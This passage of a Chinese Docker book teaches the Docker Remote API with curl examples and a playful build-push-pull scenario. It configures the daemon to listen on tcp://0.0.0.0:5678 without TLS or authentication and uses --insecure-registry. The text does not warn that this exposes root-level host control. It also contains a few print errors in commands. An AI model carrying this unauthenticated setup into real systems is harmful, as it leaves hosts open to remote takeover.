,{"Created":1429308073,"Id":"8c2e06...","Labels":{},"ParentId":"6ce2e9...","RepoDigests":[],
"RepoTags":["busybox:latest"],"Size":0,"VirtualSize":2429728}]

提示

由于不能直接通过echo命令向socket写数据，所以你可能需要借助netcat来完成。

如果仅是在本机体验Docker API，该方式已可满足需求，但这显然没达到我们真正远程访问Docker的目标。工欲善其事，必先利其器。接下来就介绍使用Docker API远程访问Docker前需要做的一些准备工作。

7.2.1　前期准备

1.外围工具

相较于前文通过echo方式使用Docker Remote API的繁琐，curl工具在进行相关实验的时候显得异常轻便，本章后续也会大量用到该工具。若在你的环境中还没有curl，请尽快安装一个。

浏览器Firefox与Google Chrome都提供了非常优秀的插件来辅助我们的工作，其可视化的信息反馈也显得更加直观。推荐安装Firefox的RESTClient与Google Chrome的Postman-REST Client，这两个插件都还额外提供了一定程度上的分组归类功能，并会记录历史操作，能有效避免重复性输入。

此外，无论何时，Python都应该是你工具箱里的一员，它总能带来惊喜，这次也一样。对比下面即将展示的两个API响应，虽然内容无差，但通过Python的JSON工具进行格式化处理后的效果显得更加直观。

示例API对应的Docker客户端命令为docker history debian，即查看debian镜像的历史信息，Docker客户端的输出命令如下：

# 对应CLI命令 docker history debian，具体作用同字面意思。
# 示例API所对应的Docker CLI命令及输出结果
$ docker history debian
IMAGE               CREATED          CREATED BY
SIZE        COMMENT
1265e16d0c28        11 weeks ago     /bin/sh -c #(nop) CMD [/bin/bash]
0 B
4f903438061c        11 weeks ago     /bin/sh -c #(nop) ADD file:64df78b
84.98 MB
511136ea3c5a        2 years ago
0 B         Imported from -
--------------------------- API响应1 -------------------------------
$ curl -XGET localhost:5678/images/debian/history
[{"Id":"1265e16d0c286a4252c1dc5e775ba476d9560e2dd96d2032605ee75b30912f6
b","Created":1427740741,
"CreatedBy":"/bin/sh -c #(nop) CMD [/bin/bash]","Tags":["rnd-
dockerhub.huawei.com/official/debian:latest",
"debian:latest"],"Size":0,"Comment":""},
{"Id":"4f903438061c7180cf99485b42f7709f5268bfb4732fe885f9104ed3bb66fd3c
","Created":1427740737,
"CreatedBy":"/bin/sh -c #(nop) ADD
file:64df78b21f6d6583bcf0f4bd36a43b24a0208b158ba373c0 in
/","Tags":null,
"Size":84979426,"Comment":""},{"Id":"511136ea3c5a64f264b78b5433614aec56
3103b4d4702f3ba7d4d2698e22c158",
"Created":1371157430,"CreatedBy":"","Tags":["scratch:latest","scratch12
:latest"],"Size":0,
"Comment":"Imported from -"}]
--------------------------- API响应2 -------------------------------
$ curl -XGET localhost:5678/images/debian/history | python -mjson.tool
[
{
"Comment": "",
"Created": 1427740741,
"CreatedBy": "/bin/sh -c #(nop) CMD [/bin/bash]",
"Id":
"1265e16d0c286a4252c1dc5e775ba476d9560e2dd96d2032605ee75b30912f6b",
"Size": 0,
"Tags": [
"rnd-dockerhub.huawei.com/official/debian:latest",
"debian:latest"
]
},
{
"Comment": "",
"Created": 1427740737,
"CreatedBy": "/bin/sh -c #(nop) ADD
file:64df78b21f6d6583bcf0f4bd36a43b24a0208b158ba373c0 in /",
"Id":
"4f903438061c7180cf99485b42f7709f5268bfb4732fe885f9104ed3bb66fd3c",
"Size": 84979426,
"Tags": null
},
{
"Comment": "Imported from -",
"Created": 1371157430,
"CreatedBy": "",
"Id": "511136ea3c5a64f264b78b5433614aec563103b4d4702f3ba7d4d2698e22c158",
"Size": 0,
"Tags": [
"scratch12:latest",
"scratch:latest"
]
}
]

提示

Docker客户端命令的输出并不是对应API返回的所有信息，而是经过筛选过滤的API响应信息的子集。

可以看到，在“API响应2”中通过命令“python–mjson.tool”使用了Python的JSON格式化工具以后，整个输出就以非常标准的格式展示了出来。

2.配置

接下来需要做的是使能Docker daemon（Server）远程访问。针对不同的使用场景，其实现的方式有所差别，这里约定对外暴露的端口为5678。

·对于手动启动Docker daemon的场景，可在启动时通过-H参数指定监听的端口，如：

# docker -d -H unix:///var/run/docker.sock -Htcp://0.0.0.0:5678

·对于开机自启动Docker daemon的场景，则需要修改docker的配置文件，本章会针对不同Linux发行版分别进行阐述。

（1）Ubuntu

Ubuntu用户的Docker默认配置文件为/etc/default/docker.io，修改步骤如下：

$ service docker.io stop        // 1
$ vim  /etc/default/docker.io   // 2
$ service docker.io start       // 3

首先将Docker服务停止，待更新完成以后重启Docker使其生效。当然也可以直接修改配置文件，然后执行Restart操作，那么操作步骤为：

$ vim  /etc/default/docker.io   // 1
$ service docker.io restart     // 2

不管采取何种方式，对于要修改的配置文件：

# Docker Upstart and SysVinit configuration file
# Customize location of Docker binary (especially for development
testing).
DOCKER="/usr/bin/docker.io"
# Use DOCKER_OPTS to modify the daemon startup options.
DOCKER_OPTS=" -H unix:///var/run/docker.sock"
# If you need Docker to use an HTTP proxy, it can also be specified
here.
# This is also a handy place to tweak where Docker's temporary files
go.
#export TMPDIR="/mnt/bigdrive/docker-tmp"

需要做的是修改DOCKER_OPTS，使它监听Unix端口的同时也监听我们所期望的5678端口。将IP指定为0.0.0.0就可监听所有访问5678端口的请求。这里不用显式指定-d参数，默认会自带。将DOCKER_OPTS修改为：

DOCKER_OPTS=" -H tcp://0.0.0.0:5678 -H unix:///var/run/docker.sock"

提示

可指定多个-H参数。此处切勿忘记监听本地Unix端口，否则所有Docker CLI命令均会失效。

（2）Red Hat

Red Hat用户的Docker默认配置文件位为/etc/sysconfig/docker，修改步骤如下：

$ systemctl stop docker        // 1
$ vim /etc/sysconfig/docker     // 2
$ systemctl start docker       // 3

同样的，也可采取先直接修改配置文件然后重启的方式来让Docker daemon具备远程访问能力，具体请参考上述Ubuntu部分，这里不再赘述。步骤2中的配置文件大致内容如下：

# /etc/sysconfig/docker
#
# Other arguments to pass to the docker daemon process
# These will be parsed by the sysv initscript and appended
# to the arguments list passed to docker -d
other_args=""

对于该配置文件，需要做的是修改other_args，通过注释可知，other_args中指定的所有参数将会在启动时添加到docker-d后面，因此这里也不需显式指定-d参数。将other_args改为如下形式即可：

other_args=" -H tcp://0.0.0.0:5678 -H unix:///var/run/docker.sock"

3.验证配置

首先确保你的Docker daemon已经正确启动，然后通过向5678端口发送docker version命令来检查Docker daemon是否已经具备远程访问的能力。如果一切顺利，那么应该能见到完整的Docker版本信息。除此之外，还可以通过更直接的curl命令来进行验证，Docker提供了对PING请求的处理函数，即REST API GET/_ping，如果成功则会返回OK。当然，这里的localhost可以替换为127.0.0.1。示例如下：

$ docker -H localhost:5678 version              // 1
Client:
Version:      1.8.0
API version:  1.20
Go version:   go1.4.2
Git commit:   b0e0dbb
Built:        Thu Aug 13 04:08:02 UTC 2015
OS/Arch:      linux/amd64
Server:
Version:      1.8.0
API version:  1.20
Go version:   go1.4.2
Git commit:   b0e0dbb
Built:        Thu Aug 13 04:08:02 UTC 2015
OS/Arch:      linux/amd64
$ curl -X GET http://localhost:5678/_ping       // 2
OK

此时，你也有可能会遇到一个在使用Docker Remote API过程中经常出现的问题——curl连接服务器失败，错误状态码为502。遇到这种情况，可通过给curl命令加上-v参数来获取更详细信息，以便分析失败原因，如下：

$ curl -v -X GET localhost:5678/_ping
* About to connect() to proxy 10.175.100.210 port 8080 (#0)
*   Trying 10.175.100.210...
* Connected to 10.175.100.210 (10.175.100.210) port 8080 (#0)
> GET http://localhost:6373/containers/json HTTP/1.1
> User-Agent: curl/7.29.0
> Host: localhost:5678
> Accept: */*
> Proxy-Connection: Keep-Alive
>
< HTTP/1.1 502 Connection refused
< Content-Type: text/html
* no chunk, no close, no size. Assume close to signal end
<
* Closing connection 0
<html><body>
<h1>502 Connection refused</h1>
<p><a href='http://cntlm.sf.net/'>Cntlm</a>proxy failed to complete the
request.</p>
</body></html>

从上述信息可以看到，这里出错的原因是因为在我们的环境中使用了代理。由于网络环境的限制，使用代理在各个公司都很常见，因此遇到该问题的人估计不在少数。解决方案很简单，首先检查是否已将localhost添加到no_proxy环境变量或NO_PROXY环境变量中，如下：

$ echo $no_proxy

或

$ echo $NO_PORXY

如果输出的值没有包含localhost，那么添加localhost到该环境变量即可。如果输出值中已经包含了localhost，请检查$no_proxy与$NO_PROXY，系统可能同时设置了这两个环境变量，但只使用了其中一个，如下。

$ export no_proxy=$no_proxy,localhost

或

$ export NO_PROXY=$NO_PROXY,localhost

7.2.2　Docker API的基本示例

本节将为读者展示Docker API的一些基本用例，虽然Docker公司已经提供了全套的官方API参考文档，但针对某些API具体用法的表述依然不太详细。比如有一些API是属于独立的API，单独调用即可完成相应功能；有一些API则是非独立的，需要联合使用，还有一些API会调用一系列其他API来完成相应动作等。下面的示例会针对这些情况进行介绍。

1.API初级示例一

看似简单的事物却经常能起到举一反三的作用，接下来先透过一个最简单的例子“获取本地镜像列表”来帮助读者熟悉Docker对API的响应机制。

提示

为方便读者查询对比，我们约定，在每一个API示例之前，都给出与之对应的Endpoint以及Docker客户端命令。

·Endpoint——GET/images/json

·对应CLI命令——docker images

$ curl -XGET http://localhost:5678/images/json | python -mjson.tool
HTTP/1.1 200 OK
Content-Type: application/json
[
...
{
"Created": 1419645876,
"Id":"dd534bebcd0c39b353bd872b9a59b88c0b2e2bb05f931709d",
"Labels": null,
"ParentId":"cbd0b34377e691e40b88fa5cb8f2c0bfcfedadaa0cf",
"RepoDigests": [],
"RepoTags": [
"ubuntu:15.04",
"ubuntu:vivid"
],
"Size": 0,
"VirtualSize": 117154513
},
{
"Created": 1419645858,
"Id": "4108fa8e113b526db8321e9d7e72b95ae796ece9061c0212",
"Labels": null,
"ParentId": "b4c0cca588ccbee9a52067cf8843c0b56678885888",
"RepoDigests": [],
"RepoTags": [
"ubuntu:14.10",
"ubuntu:utopic"
],
"Size": 0,
"VirtualSize": 194395134
},
...
]

从返回值中可以看到，此处有两个镜像与唯一的“Id”相关联。这里说是“镜像”或许不太准确，它实际只是同一镜像的两个不同tag，这从RepoTags字段可知其为ubuntu：15.04和ubuntu：vivid。用户可以通过其中任意一个来访问目标镜像，效果与直接使用ID一致。如：

$ docker run -ti ubuntu:15.04 bash

或

$ docker run -ti ubuntu:vivid bash

同时注意这里的“Created”字段，与大多数系统一致，它指的是1970年1月1日至今流逝的秒数。若在你的系统中想要对获取的镜像列表排序，可参考该字段，但勿直接依赖该返回值（这里指整个http response）的默认顺序。

关于空间使用大小的字段有两个，即“Size”与“VirtualSize”，前者是指该层镜像（通过前几章的介绍，读者应该已经了解到Docker镜像采用的是层级布局）相较于上一层所增加的大小，后者是指该镜像整体的大小，单位均为字节。

鉴于篇幅原因，剩下的字段不再一一介绍，若认为还有其他重要信息尚未返回，可以通过向Docker社区提Issue的方式反馈意见并参与讨论。

使用前文推荐过的两款浏览器插件，可以更直观、更详细地观察反馈结果，读者不妨一试。

2.API初级示例二

我们已经知道可以通过-v卷映射的方式来进行容器与主机的文件交互，但在某些场景下这还是不够，也许正是因为考虑到了这种情况，Docker亦提供了从容器中拷贝文件到容器外的API。

·Endpoint——POST/containers/（container_id）/copy

·对应CLI命令——docker cp

该API需要一些前置操作。既然是从容器中拷贝文件，自然得先有一个正处于运行状态或已经停止但还未删除的容器。不妨启动一个以14.04版本的Ubuntu为基础镜像的容器，如下：

$ docker run -ti ubuntu:14.04
root@d59de61e083d:/#
root@d59de61e083d:/# touch sayhi
root@d59de61e083d:/# echo hello > sayhi

至此已经在以Ubuntu：14.04为基础镜像的容器d59de61e083d（容器ID根据实际情况有所不同）根目录中创建了名为“sayhi”的文件，并在其中写入了内容“hello”。接下来就将其取出并拷贝到host上，如下：

$ curl -k -X POST http://localhost:5678/containers/d59de61e083d/copy \
-H "Content-Type: application/json" -d '{"Resource":"/sayhi"}' | tar x
HTTP/1.1 200 OK
Content-Type: application/x-tar
{{ TAR STREAM }}

与之前的获取镜像列表API不同，该API的返回值是一个流。因此若想获得返回的文件，则需要在curl命令后将其传递给tar做提取操作。但如果你的使用场景就是获取tar包，则可以通过重定向的方式将数据流导入到一个文件中保存。curl命令如下：

$ curl -k -X POST http://localhost:5678/containers/d59de61e083d/copy \
-H "Content-Type: application/json" -d '{"Resource":"/sayhi"}' >
tmpfile

不管采用哪种方式，我们注意到，在使用该API的时候，都通过-d选项进行了参数传递。此处只需指定一个参数，即资源所在路径。在本例中资源是一个文件，当然它也可以是一个目录。

$ curl -k -X POST http://localhost:5678/containers/d59de61e083d/copy \
-H "Content-Type: application/json" -d '{"Resource":"/bin"}' | tar x

这里将资源位置指定为根目录下的bin文件目录，执行的效果则是将容器中的/bin目录整个拷出，包括里面所含的文件。

对于这个API的调用，我们使用了-H给http请求添加头域，在这里这一项是必须的，该头域会指定参数的组织格式，此处为JSON。如果我们忘记添加该头域则会返回错误并导致整个调用失败，如下：

Content-Type specified (application/x-www-form-urlencoded) must be
'application/json'

3.API中级示例一

前面两个初级示例展示的API均是可独立使用的，Docker中还存在很多需要组合使用的API，本节将介绍此类API的用法。

在Docker官方网站的“用户手册”（http://docs.docker.com/userguide/dockerizing/）中，给程序员世界带来了“Hello world”的Docker版本，如下：

$ docker run ubuntu:14.04 /bin/echo 'Hello world'
Hello world

这个看起来很简单的地球通用示例，其实是顺序调用多个API的结果。让我们再看另外一个类似但稍微复杂一点的例子，即对一个已经处于运行态的容器，通过docker exec命令使其执行相应的操作。首先以Ubuntu：14.04为基础镜像启动一个容器，并通过-d选项让其在后台运行。然后调用容器里的ls命令列出容器中/usr目录下的所有文件。示例如下：

$ docker run -ti -d ubuntu:14.04
8d692401ea8a5dc7dfcd65c54230759ade4ea9188943bc4b4c53bebb3aa6f847
$ docker exec 8d692401ea8a ls /usr
bin
games
include
lib
local
sbin
share
src

如果对前文所述的“与Hello world例子类似”感到疑惑，可以将两个命令组合起来观察。

$ docker run ubuntu:14.04 ls /usr
bin
games
include
lib
local
sbin
share
src

真实环境中的使用场景总是多种多样的，因此理解每一步操作所涉及的API是必要的。让我们先聚焦到命令exec所涉及的API。一共有两个，首先需要在指定的容器中创建一个exec实例，然后执行创建好的这个实例。之前创建好的容器短ID为8d692401ea8a（容器ID根据实际情况有所不同），后文会多次用到。API如下。

·Endpoint——POST/containers/（id）/exec

·Endpoint——POST/exec/（id）/start

·对应CLI命令——docker exec

------------------------------------- API 1 -------------------------------------
$ curl -XPOST -H "Content-Type: application/json"
http://localhost:5678/containers/8d692401ea8a/exec -d '{
"AttachStdin": false,
"AttachStdout": true,
"AttachStderr": true,
"Tty": false,
"Cmd": [
"ls",
"/usr"
]
}'
HTTP/1.1 201 Created
Content-Type: application/json
{"Id":"11dfe3b2e1fb324ae8b333c92774f39b33809c40108b86ec3a37ce4b9f3185bf"}
"}
------------------------------------- API 2 -------------------------------------
$ curl -XPOST -H "Content-Type: application/json" \
http://localhost:5678/exec/11dfe3b2e1fb324ae8b333c92774f39b33809c40108b
86ec3a37ce4b9f3185bf/start -d '{
"Detach": false,
"Tty": false
}'
HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream口+bin
games
include
lib
local
sbin
share
src

对第一个API，可通过容器ID指定需要在哪一个容器中创建exec实例，但指定的容器必须处于运行态，否则会返回错误“Container xxx is not running”。在这里，参数“AttachStdout”和“AttachStderr”的作用与通常用法一致，即是否使用标准输出流和标准错误流来处理exec的返回数据。注意到这里的“Cmd”参数，它是一个数组，不仅可以给其传单独的命令（如“date”）也可以传示例中的“ls/usr”，甚至是错误的“ls/usrFromCybertron”。如果一切顺利，最后该API会返回状态码201，并通过JSON数据格式返回exec实例ID。

提示

由于设置了AttachStderr为true，对于“ls/usrFromCybertron”，虽然第一个API仍会成功返回，但在执行第二个API的时候，会返回错误信息。读者不妨试试将其设置为false的效果。

在调用第一个API成功创建exec实例后，如果读者感兴趣，还可在对应container中查询到该实例ID，这对诸如“在我的XX系统中监控容器状态”等需求非常有用。当然，对于同一个container，可能会有多个exec实例与其对应。比如：

$ docker inspect 8d692401ea8a

或

$ curl -XGET http://localhost:5678/containers/8d692401ea8a/json |
python -mjson.tool
{
"Id": "8d692401ea8a5dc7dfcd65c54230759ade4ea9188943bc4b4c53bebb",
"Created": "2015-05-25T02:19:50.721672031Z",
...
"ExecIDs": [
"11dfe3b2e1fb324ae8b333c92774f39b33809c40108b86ec3a37ce4b9f3",
"a95df58219863647a38ed434176142613edf0983fdec3e92dfd07f4db74"
],
...
}

值得注意的是，所有这些实例都会随着容器的退出而消失。即如果Container 8d692401ea8a退出了，那么再次执行docker inspect 8d692401ea8a或调用相应API时，返回值中的“ExecIDs”会为null。

$ docker inspect 8d692401ea8a | grep ExecIDs
"ExecIDs": null,

不同于image、container、history等API，由于Docker目前还不支持exec实例的短ID方式，因此在第二个API中，必须填写第一个API返回的全长度exec实例ID。对于exec的参数“--detach”，若设为true，则API会直接返回，不会得到任何信息，因此一般都设为false。

细心的读者可能已经发现，第二个API返回值的开头好像出现了乱码，是不是印刷错误？但请注意看返回值的类型，为“application/vnd.docker.raw-stream”，好像事情还不是那么简单。根据返回值类型的字面意思来看，这应该是一个流，那么通常来讲在这个流中就包含了某些格式。让我们先将该返回值重定向到一个临时文件，然后用xxd命令以十六进制格式查看文件内容，如下。

$ curl -XPOST -H "Content-Type: application/json" \
http://localhost:5678/exec/11dfe3b2e1fb324ae8b333c92774f39b33809c40108b
86ec3a37ce4b9f3185bf/start -d '{
"Detach": false,
"Tty": false
}' > tmpfile
$ xxd tmpfile
0000000: 0100 0000 0000 002b 6269 6e0a 6761 6d65 .......+bin.game
0000010: 730a 696e 636c 7564 650a 6c69 620a 6c6f s.include.lib.lo
0000020: 6361 6c0a 7362 696e 0a73 6861 7265 0a73 cal.sbin.share.s
0000030: 7263 0a rc.

不难发现，其中的bin、game……src均是我们期望的输出，而这些字符之间的“.”对应的十六进制数为"0a"，查ASCII编码表可知"0a"代表换行符。因此，现在的问题变成了——前8个字节"010000000000002b"代表什么？

根据官方文档可知，前8个字节为数据流的头部。其中第1个字节"00"/"01"/"02"分别代表的是数据流来自标准输入流/输出流/错误流，此处则是标准输出流。如果读者做了前文所提的标准错误流的实验，可发现对应位置上的值为"02"。第2~4个字节被保留了，并赋值为0。第5~8个字节则表示该数据流（除去头部）的大小，以大端的方式编码。该例中则为43字节。

提示

关于大小端编码方式不在本书的讨论范围，感兴趣的读者可参阅其他资料。

4.API中级示例二

相信读者已经了解，目前我们可以基于两种方式构建Docker镜像：

·通过docker commit命令构建。

·通过docker build命令解析Dockerfile文件。

不管是哪种方式，除了可以使用CLI命令以外，Docker还提供了对应的API，本节将向读者介绍如何通过API使用Dockerfile构建一个Docker镜像。首先，到一个干净的目录创建一个Dockerfile文件，文件内容如下：

FROM busybox:latest
RUN touch newFile
CMD ["date"]

如果在本地环境中没有busybox：latest镜像也无大碍，Docker daemon会负责从Registry中自动pull一个，接着创建一个名为“newFile”的空文件，并设置启动时运行命令date打印当前日期。

·Endpoint——POST/build

·对应CLI命令——docker build

对应CLI 命令——docker build
$ curl -v -XPOST -H "Content-Type: application/tar" --data-binary
@Dockerfile.tar \
http://localhost:5678/build?t=myimage:mytag
< HTTP/1.1 100 Continue
< HTTP/1.1 200 OK
< Content-Type: application/json
{"stream":"Step 0 : FROM busybox\n"}
{"stream":" ---\u003e 8c2e06607696\n"}
{"stream":"Step 1 : RUN touch newFile\n"}
{"stream":" ---\u003e Using cache\n"}
{"stream":" ---\u003e 1d289e9802a7\n"}
{"stream":"Step 2 : CMD date\n"}
{"stream":" ---\u003e Using cache\n"}
{"stream":" ---\u003e 1562e5201ee5\n"}
{"stream":"Successfully built 1562e5201ee5\n"}
* Connection #0 to host localhost left intact

本例与前几个示例的最大区别是传递的数据为一个tar包流，从头域也可以看出，我们指定了“Content-Type：application/tar”。但需要注意，Dockerfile文件必须位于tar包的根目录中，因此在打包的时候一定要注意文件的位置，可参考下列文件组织。

$ pwd
/tmp/newdir
$ ls
Dockerfile
$ tar -cf Dockerfile.tar Dockerfile
$ ls
Dockerfile Dockerfile.tar

在该API的Endpoint后面紧跟着参数t，不难看出这是为生成的镜像打一个tag，Docker还提供了其他很多参数，鉴于篇幅原因不再一一列举，感兴趣的读者可参考Docker官方文档相关部分。返回值部分依然是熟悉的JSON格式，并且同docker build命令的输出基本一致，“\u003e”其实就是大于符号“>”。

如果一切顺利，那么我们已经基于Dockerfile生成了一个新的镜像，并且命名为“myimage：mytag”，接下来让我们验证一下。

$ docker run myimage:mytag ls | grep newFile
newFile
$ docker run myimage:mytag
Fri May 26 09:11:15 UTC 2015

可以看到已经按照我们的期望，在镜像里创建了Dockerfile中指定的“newFile”文件，并在启动镜像的时候打印了系统时间。

7.3　API的高级应用

前文离散地介绍了多个API，相信读者已基本掌握Docker API的用法。基本上就是先找准Endpoint，然后以正确的格式传递参数，最后以正确的格式处理返回值。本节将模拟一个相对完整的使用场景，将Docker API串联呈现。

7.3.1　场景概述

地球居民A拥有一个神奇应用，对任意来自网络的访问，均会返回“Hello world”。赛博坦星球的居民B听说了A的这个放之宇宙而皆准的神奇应用，想出高价购买，但了解以后发现在赛博坦并没有该神奇应用的运行环境。A为了促成这单生意，想到了使用Docker，打算将神奇应用的运行环境一起打包给B并声称只收取少许额外费用。但新的问题出现了，地球距离赛博坦星球非常非常远，幸运的是位于仙女座星系的居民C提出他们安全运行Docker Registry已经220万年了，并且愿意提供帮助。

7.3.2　场景实现

1.使用Dockerfile构建镜像

A的神奇应用是一个用Python写的Web Server：

#!/usr/bin/python2.7
import socket
# 设置监听地址及端口
HOST = '0.0.0.0'
PORT = 22222
# 设置响应信息
text_content = '''HTTP/1.x 200 OK
Content-Type: text/html
Hello world'''
# 配置socket参数
s    = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
# 启动服务并持续监听端口
while True:
# 3: maximum number of requests waiting
s.listen(3)
conn, addr = s.accept()
request    = conn.recv(1024)
method     = request.split(' ')[0]
src        = request.split(' ')[1]
# 只处理GET请求
if method == 'GET':
content = text_content
print 'Connected by', addr
print 'Request is:', request
conn.sendall(content)
# close connection
conn.close()

诚实的地球居民都会在发货之前仔细检查产品是否合格。因此A找到了一台IP为“10.107.197.208”的计算机运行这个Web Server，并同时在IP为“10.110.52.50”的计算机和IP为“10.111.151.231”的计算机上使用不同的客户端测试产品：

# 运行Web Server的计算机，IP地址为10.107.197.208
$ ./server.py
# 使用curl命令测试Web Server的计算机，IP地址为10.110.52.50
$ curl -XGET http://10.107.197.208:22222
Hello world
# 使用浏览器插件测试Web Server的计算机，IP地址为10.111.151.231使用Google Chrome浏览器 Postman插件执行请求
Hello world

在不同请求到访的同时，A在运行Web Server的计算机中发现了如下链接信息：

# 日志中显示的curl访问Web Server的记录
Connected by ('10.110.52.50', 58915)
Request is: GET /v1/_ping HTTP/1.1
User-Agent: curl/7.35.0
Host: 10.107.197.208:22222
Accept: */*
# 日志中显示的浏览器访问Web Server的记录
Connected by ('10.111.151.231', 52306)
Request is: GET /v1/_ping HTTP/1.1
Host: 10.107.197.208:22222
Connection: keep-alive
CSP: active
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/43.0.2357.124 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

看起来产品是合格的，于是A准备开始将其打包成一个Docker镜像。由于Docker在地球上还算新生事物，只有少数计算机装有Docker，因此A需要通过Remote API来完成“打包生成Docker镜像”。在装有server.py的计算机上，A写了一个Dockerfile脚本：

FROM ubuntu:12.04
ADD server.py /bin/
EXPOSE 22222
CMD ["server.py"]

注意其中的第三条指令“EXPOSE 22222”，它设置了以该镜像生成的容器在运行时监听的端口号，它不仅可与其他容器连接，也决定了当使用-P选项时，容器对主机暴露的端口号。第四条指令我们已经见过类似的，这里是指容器启动时自动运行server.py。接下来则是按照一定规律将所有文件打包。

$ pwd
/tmp/newdir
$ tar -cf Zeus.tar Dockerfile server.py
$ find .
.
./server.py
./Zeus.tar
./Dockerfile

准备好tar包以后，A查询到在IP为“10.115.55.55”的计算机上有Docker，并且已经打开“5678”端口。于是A开始调用构建镜像的API，并打算给生成的镜像取一个霸气的名字——来自地球的宙斯：

$ curl -XPOST -H "Content-Type: application/tar" --data-binary
@Zeus.tar \
http://10.115.55.55:5678/build?t=earth/zeus
{"stream":"Step 0 : FROM ubuntu:12.04\n"}
{"stream":" ---\u003e 28a945b4333c\n"}
{"stream":"Step 1 : ADD server.py /bin/\n"}
{"stream":" ---\u003e Using cache\n"}
{"stream":" ---\u003e 41ebe84cbce9\n"}
{"stream":"Step 2 : EXPOSE 22222\n"}
{"stream":" ---\u003e Using cache\n"}
{"stream":" ---\u003e b695081920d3\n"}
{"stream":"Step 3 : CMD server.py\n"}
{"stream":" ---\u003e Using cache\n"}
{"stream":" ---\u003e 9ca94476714a\n"}
{"stream":"Successfully built 9ca94476714a\n"}

2.push镜像到Registry

构建好了Docker镜像，接下来就是把镜像push到Registry里去，A查询到C的Registry服务器地址为“10.220.220.220”，Registry服务的端口为5555。Docker规定，push镜像的时候，需要指定Registry服务器的名称。因此还需要另给生成的镜像打一个tag，如下。

·Endpoint——POST/images/（name）/tag

·对应CLI命令——docker tag

$ curl -XPOST
http://10.115.55.55:5678/images/earth/zeus/tag?repo=10.220.220.220:5555/earth/zeus

如果顺利，通过该命令就生成了镜像“10.220.220.220：5555/earth/zeus：latest”。Docker规定，如果要将镜像push到第三方Registry，那么镜像名中必须包含该Registry地址，这就是镜像名中会出现“10.220.220.220：5555”的原因。

·Endpoint——POST/images/（name）/push

·对应CLI命令——docker push

Endpoint——POST /images/(name)/push对应CLI 命令——docker push
$ curl -XPOST
http://10.115.55.55:5678/images/10.220.220.220:5555/earth/zeus/push
Bad parameters and missing X-Registry-Auth: EOF

可以看到，在这里遇到了第一个问题（即上面代码中的加粗内容），这是因为出现了请求参数错误。X-Registry-Auth是Docker内置的一个头域，它是AuthConfig结构体的JSON格式通过base64编码以后得到的结果，如下：

// Registry Auth Info
type AuthConfig struct {
Username string json:"username,omitempty"
Password string json:"password,omitempty"
Auth string json:"auth"
Email string json:"email"
ServerAddress string json:"serveraddress,omitempty"
}

在需要进行认证的Registry服务中，这个值是必要的。在不需要认证的Registry服务中，我们也需提供一个虚拟的，或者是空的：

$ export USERNAME=earthA
$ export PASSWORD=moon
$ export EMAIL_ADDRESS=earthA@earth.com
$ export SERVER_ADDRESS=10.220.220.220
$ XRA=echo "{\"username\": \"${USERNAME}\", \"password\": \"${PASSWORD}\", \"email\": \"${EMAIL_ADDRESS}\", > \"serveraddress\" : \"${SERVER_ADDRESS}\"}" | base64 --wrap=0
$ echo $XRA
eyJ1c2VybmFtZSI6ICJlYXJ0aEEiLCAicGFzc3dvcmQiOiAibW9vbiIsICJlbWFpbCI6ICJlYXJ0aEF\
AZWFydGguY29tIiwgInNlcnZlcmFkZHJlc3MiIDogIjEwLjIyMC4yMjAuMjIwIn0K

设置好环境变量后，即可通过-H将其添加到curl命令的头域中，因此修改后的API为：

$ curl -XPOST -H "X-Registry-Auth: $XRA"
http://10.115.55.55:5678/images/10.220.220.220:5555/earth/zeus/push
invalid registry endpoint https://10.220.220.220:5555/v0/:
unable to ping registry endpoint https://10.220.220.220:5555/v0/
v2 ping attempt failed with error: Get https://10.220.220.220:5555/v2/: EOF
v1 ping attempt failed with error: Get https://10.220.220.220:5555/v1/_ping: EOF.
If this private registry supports only HTTP or HTTPS with an unknown CA certificate,
please add --insecure-registry 10.220.220.220:5555 to the daemon's arguments.
In the case of HTTPS, if you have access to the registry's CA certificate, no need for the flag;
simply place the CA certificate at /etc/docker/certs.d/10.220.220.220:5555/ca.crt

到这里，又遇到了第二个问题（即代码中的加粗内容），这是因为出现了非法访问。出现该问题是因为使用了私有Registry，但并未在Docker中声明（Docker的一个安全策略）。因此A按照提示，通知运行着Docker的服务器管理员，将“--insecure-registry 10.220.220.220：5555”（仅作为参考，推荐使用安全方式访问Registry）添加到“DOCKER_OPTS”（Ubuntu用户）或“other_args”（Red Hat用户），并重启Docker服务。一切就绪以后，A再次调用push镜像的API：

$ curl -XPOST -H "X-Registry-Auth: $XRA"
http://10.115.55.55:5678/images/10.220.220.220:5555/earth/zeus/push
{"status":"The push refers to a repository [10.220.220.220:5555/earth/zeus] (len: 1)"}
{"status":"Sending image list"}
{"status":"Pushing repository 10.220.220.220:5555/earth/zeus (1 tags)"}
{"status":"Image 511136ea3c5a already pushed, skipping"}
{"status":"Image db7c9bd0e843 already pushed, skipping"}
{"status":"Image 28a945b4333c already pushed, skipping"}
{"status":"Image 14500324c585 already pushed, skipping"}
{"status":"Image a0ab785b06af already pushed, skipping"}
{"status":"Image 41ebe84cbce9 already pushed, skipping"}
{"status":"Image b695081920d3 already pushed, skipping"}
{"status":"Image 9ca94476714a already pushed, skipping"}
{"status":"Pushing tag for rev [9ca94476714a] on
{http://10.220.220.220:5555/v1/repositories/earth/zeus/tags/latest}"}

至此，搭载着神奇应用的Docker镜像已经通过API成功push到仙女座的Registry进行存放，于是A正式向赛博坦星球居民B发出取货通知，并告知遇到的一些问题。B非常感激，他非常有信心可以一步到位取得心仪的镜像。

3.pull镜像到本地

B君配置好自己的环境变量，设置好Docker的“--insecure-registry”，并在打开相应的端口后，开始使用API去仙女座Registry服务器pull镜像：

$ curl -XPOST -H "X-Registry-Auth: $XRA" \
http://localhost:5678/images/create?fromImage=10.220.220.220:5555/earth/zeus:latest
{"status":"Pulling image (latest) from 10.220.220.220:5555/earth/zeus","progressDetail":{},
"id":"9ca94476714a"}
{"status":"Pulling image (latest) from 10.220.220.220:5555/earth/zeus",
"endpoint": "http://10.220.220.220:5555/v1/","progressDetail":{},"id":"9ca94476714a"}
{"status":"Pulling dependent layers","progressDetail":{},"id":"9ca94476714a"}
{"status":"Download complete","progressDetail":{},"id":"511136ea3c5a"}
